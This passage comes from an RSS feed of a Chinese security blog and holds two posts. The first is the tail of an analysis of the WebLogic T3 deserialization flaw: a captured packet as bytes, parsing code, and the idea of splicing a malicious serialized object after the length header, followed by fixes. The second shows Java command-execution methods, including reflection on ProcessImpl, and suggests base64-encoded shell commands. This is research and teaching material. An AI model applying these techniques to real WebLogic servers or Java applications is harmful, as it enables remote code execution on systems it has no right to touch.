                (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69,
                (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f,
                (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00,
                (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72,
                (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00,
                (byte) 0x04, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78,
                (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05,
                (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
                (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76,
                (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54,
                (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72,
                (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9,
                (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00,
                (byte) 0x21, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
                (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e,
                (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61,
                (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x65, (byte) 0x65, (byte) 0x72, (byte) 0x49, (byte) 0x6e,
                (byte) 0x66, (byte) 0x6f, (byte) 0x58, (byte) 0x54, (byte) 0x74, (byte) 0xf3, (byte) 0x9b, (byte) 0xc9,
                (byte) 0x08, (byte) 0xf1, (byte) 0x02, (byte) 0x00, (byte) 0x06, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
                (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
                (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
                (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
                (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
                (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
                (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
                (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
                (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
                (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x3b,
                (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
                (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d,
                (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
                (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56, (byte) 0x65, (byte) 0x72,
                (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f,
                (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52, (byte) 0x46, (byte) 0x3e,
                (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x71, (byte) 0x00,
                (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65,
                (byte) 0x6c, (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72,
                (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
                (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
                (byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
                (byte) 0x3b, (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73,
                (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41,
                (byte) 0x73, (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
                (byte) 0x02, (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77,
                (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e,
                (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69,
                (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e,
                (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49,
                (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8,
                (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00,
                (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
                (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
                (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
                (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b,
                (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50,
                (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65,
                (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50,
                (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69,
                (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65,
                (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c, (byte) 0x00, (byte) 0x0a,
                (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64,
                (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c,
                (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65,
                (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e,
                (byte) 0x00, (byte) 0x05, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00,
                (byte) 0x78, (byte) 0xfe, (byte) 0x00, (byte) 0xff, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
                (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
                (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
                (byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
                (byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
                (byte) 0x77, (byte) 0x49, (byte) 0x21, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
                (byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
                (byte) 0x39, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32, (byte) 0x2e, (byte) 0x31,
                (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x36,
                (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x07, (byte) 0x00,
                (byte) 0x00, (byte) 0x1b, (byte) 0x59, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
                (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
                (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
                (byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
                (byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
                (byte) 0x77, (byte) 0x1f, (byte) 0x01, (byte) 0xb1, (byte) 0x5f, (byte) 0x44, (byte) 0x41, (byte) 0xe4,
                (byte) 0x9c, (byte) 0x92, (byte) 0x69, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
                (byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
                (byte) 0x39, (byte) 0x36, (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x78};
        int skip = 0;
        List&lt;Integer&gt; size_list = new ArrayList&lt;Integer&gt;();
        size_list.add(0);
        // 前四个字节
        int length = ((bytes[0] &amp; 0xff) &lt;&lt; 8 * 3) + ((bytes[1] &amp; 0xff) &lt;&lt; 8 * 2) + ((bytes[2] &amp; 0xff) &lt;&lt; 8) + (bytes[3] &amp; 0xff);
        System.out.println("数据包长度标记:" + length);
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        int origSize = bis.available();
        System.out.println("数据长度" + origSize);
        Object o = null;
        while (bis.available() &gt; 0) {
            try {
                bis.reset();
                bis.skip(skip);
                ObjectInputStream ois = new ObjectInputStream(bis);
                o = ois.readObject();
                System.out.println("Object found:" + o.getClass().getName());
                size_list.add(skip);
                skip = origSize - bis.available();
            } catch (StreamCorruptedException e) {
                skip = skip + 1;
                bis.skip(1);
            } catch (OptionalDataException ode) {
                bis.skip(1);
                skip = skip + 1;
            } catch (ClassNotFoundException c) {
                System.out.println("Class not found:" + c.getMessage());
                skip = origSize - bis.available();
            }
        }
        size_list.add(bytes.length);
        int start = 0;
        int end = 0;
        for (int i = 0; i &lt; size_list.size() - 1; i++) {
            start = size_list.get(i);
            end = size_list.get(i + 1);
            System.out.println("size:" + i + "  start:" + start + "  end:" + end);
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200130161808.png" alt="20200130161808" /></p>
<p>可以看到，一共分为6段，第一部分没有序列化对象，2-6部分均存在序列化对象，这里借乌云一张图来解释。<br />
<img src="/wp-content/uploads/2020/01/20200130161825.png" alt="20200130161825" /></p>
<p>因为第一部分会校验数据包长度，替换2-6部分的序列化数据不太现实，如果长度不匹配weblogic会报java.io.EOFException异常。</p>
<p>那么我们可以通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据，即可触发漏洞。</p>
<h1>修复</h1>
<ol>
<li>在weblogic所在服务器安装web代理应用，如apache、nginx等，使web代理监听原有的weblogic监听端口，并将HTTP请求转发给本机的weblogic，t3协议过不来自然无法触发反序列化。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”，否则停止脚本将不可用。</li>
<li>使用https://github.com/ikkisoft/SerialKiller。</li>
<li>weblogic 用黑名单的方式对反序列化的类做了一些过滤，后面的几个 cve 也都是绕过黑名单。</li>
</ol>
<h1>总结</h1>
<p>因为是common-collections这个库出现的反序列化漏洞，加上7001端口默认提供了http snmp t3协议服务，一个端口复用多个协议，而t3协议通过传续序列化对象来通信，对传输的数据又没有过滤，导致了反序列化漏洞，是反序列化影响范围大、影响时间久远的洞了。</p>
<p>本文花费的时间也比较长，从基本的common-collections链到weblogic的安装部署，再到wireshark分析和t3协议的模拟，参考了很多文章，毕竟刚开始学Java审计，慢慢来，加油。</p>
<h1>参考链接</h1>
<p>http://www.jspxcms.com/knowledge/429.html<br />
https://blog.csdn.net/cz596738622/article/details/80483812<br />
https://www.cnblogs.com/ph4nt0mer/p/11772709.html<br />
https://paper.seebug.org/584/<br />
https://paper.seebug.org/1012/<br />
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/<br />
https://github.com/QAX-A-Team/WeblogicEnvironment<br />
http://drops.xmd5.com/static/drops/web-13470.html<br />
https://blog.csdn.net/he_and/article/details/97924679</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java下多种执行命令的姿势及问题</title>
		<link>/audit/1139.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 30 Jan 2020 09:42:47 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[命令执行]]></category>
		<guid isPermaLink="false">/?p=1139</guid>

					<description><![CDATA[Java中执行命令有很多姿势，但是有时候带有&#124;,&#60;,&#62;等符号的命令没办法正常执行。为什么呢？ 命令执行 要想了解为什么，我们首先需要知道Java中有哪些方式可以执行命令...]]></description>
										<content:encoded><![CDATA[<p>Java中执行命令有很多姿势，但是有时候带有<code>|</code>,<code>&lt;</code>,<code>&gt;</code>等符号的命令没办法正常执行。为什么呢？</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c" title="命令执行" target="_blank">命令执行</a></span></h1>
<p>要想了解为什么，我们首先需要知道Java中有哪些方式可以执行命令。</p>
<h2>Runtime</h2>
<pre><code class="language-java ">package exec;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

public class RuntimeExec {

    public static void main(String[] args) throws Exception {
        InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
        byte[] bcache = new byte[1024];
        int readSize = 0;   //每次读取的字节长度
        ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
        while ((readSize = in.read(bcache)) &gt; 0) {
            infoStream.write(bcache, 0, readSize);
        }
        System.out.println(infoStream.toString());
    }
}
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200130160246.png" alt="20200130160246" /></p>
<h2>ProcessBuilder</h2>
<pre><code class="language-java ">package exec;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

public class ProcessExec {
    public static void main(String[] args) {
        try {
            InputStream in = new ProcessBuilder("whoami").start().getInputStream();
            byte[] bs = new byte[2048];
            int readSize = 0;   //每次读取的字节长度
            ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
            while ((readSize = in.read(bs)) &gt; 0) {
                infoStream.write(bs, 0, readSize);
            }
            System.out.println(infoStream.toString());
        } catch (Exception e) {
            System.out.println(e.toString());
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200130160321.png" alt="20200130160321" /></p>
<h2>ProcessImpl</h2>
<p>ProcessImpl是更为底层的实现，Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类，对于ProcessImpl类我们不能直接调用，但是可以通过反射来间接调用ProcessImpl来达到执行命令的目的。</p>
<pre><code class="language-java ">package exec;

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

public class ProcessImplExec {
    public static void main(String[] args) throws Exception {
        String[] cmds = new String[]{"whoami"};
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
        method.setAccessible(true);
        Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
        byte[] bs = new byte[2048];
        int readSize = 0;
        ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
        while ((readSize = e.getInputStream().read(bs)) &gt; 0) {
            infoStream.write(bs, 0, readSize);
        }
        System.out.println(infoStream.toString());
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200130160338.png" alt="20200130160338" /></p>
<h1>问题</h1>
<p>了解了Java中的几种执行命令的函数，我们来看下有什么问题。</p>
<h2>Windows</h2>
<p>在windows中，命令前缀要加<code>cmd /c</code></p>
<pre><code class="language-java ">package exec;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.util.Timer;

public class RuntimeExec {

    public static void main(String[] args) {
        Process process = null;
        try {
            String cmd ="echo 1 &gt; 1.txt";
            process = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("gbk")));
            String line = null;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200130160405.png" alt="20200130160405" /></p>
<p>加上<code>cmd /c</code>之后</p>
<p><img src="/wp-content/uploads/2020/01/20200130160425.png" alt="20200130160425" /></p>
<p>打断点分析下，跟进exec()函数<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.Runtime#exec(java.lang.String)</p>
<pre><code class="language-java ">public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
</code></pre>
<p>继续跟进</p>
<pre><code class="language-java ">public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
</code></pre>
<p>先判断了command传入的命令是否为空，然后经过StringTokenizer类<br />
<img src="/wp-content/uploads/2020/01/20200130160447.png" alt="20200130160447" /></p>
<p>继续往下看之后发现，经过StringTokenizer类之后返回了一个以空格分隔的数组</p>
<p><img src="/wp-content/uploads/2020/01/20200130160500.png" alt="20200130160500" /></p>
<p>接着往下跟发现走到了</p>
<pre><code class="language-java ">public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}
</code></pre>
<p>也就是说Runtime的底层实际上还是ProcessBuilder。我们知道ProcessBuilder.start方法是命令执行，那么跟进这个start()。</p>
<p><img src="/wp-content/uploads/2020/01/20200130160527.png" alt="20200130160527" /></p>
<p>发现<code>String prog = cmdarray[0]</code>拿到的就是我们可执行文件，然后判断security是否为null，如果不为null就会校验checkExec。接下来return了一个java.lang.ProcessImpl.start</p>
<p><img src="/wp-content/uploads/2020/01/20200130160548.png" alt="20200130160548" /><br />
也就是说Runtime和ProcessBuilder的底层实际上都是ProcessImpl。而不能执行echo命令的原因是因为java找不到这个东西，也就是没有环境变量。所以加上<code>cmd /c</code>就行了。</p>
<h2>Linux</h2>
<p>在谈Linux下的问题时，我们首先要知道一个点<br />
<img src="/wp-content/uploads/2020/01/20200130160612.png" alt="20200130160612" /></p>
<p>如图所示，<code>/bin/sh -c echo 111 &gt; 3.txt</code>虽然也创建了文件，但是并没有内容，也就是说我们一般通过<code>/bin/sh -c "echo 111 &gt; 3.txt"</code>这种方式来写文件，转化为代码的话就是</p>
<pre><code class="language-java ">String command="/bin/sh -c "echo 111 &gt; 3.txt""
</code></pre>
<p>但是在上文我们知道了一点，<code>StringTokenizer</code>会根据空格将我们的命令划分为数组，那么我们的命令会被划分为<code>{"/bin/sh","-c",""echo","111","&gt;","3.txt""}</code>，那么整个命令就变味了，达不到我们想要的效果。</p>
<p>怎么办呢？在ProcessBuilder中有几个构造方法，当传入字符串时会分割为数组</p>
<pre><code class="language-java ">public ProcessBuilder(String... command) {
    this.command = new ArrayList&lt;&gt;(command.length);
    for (String arg : command)
        this.command.add(arg);
}

public ProcessBuilder(List&lt;String&gt; command) {
    if (command == null)
        throw new NullPointerException();
    this.command = command;
}
</code></pre>
<p>但是传入的是字符串数组时会直接<code>this.command = command</code>，避免了<code>StringTokenizer</code>的空格问题。</p>
<pre><code class="language-java ">package exec;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;

public class RuntimeExec {

    public static void main(String[] args) {
        Process process = null;
        try {
            String[] cmd = {"/bin/sh", "-c", "echo 111 &gt; 3.txt"};
            process = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("gbk")));
            String line = null;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<h2>better？</h2>
<p>有没有更好的办法？有的！Linux下可以用bash的base64编码，Windows下用powershell的base64编码。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
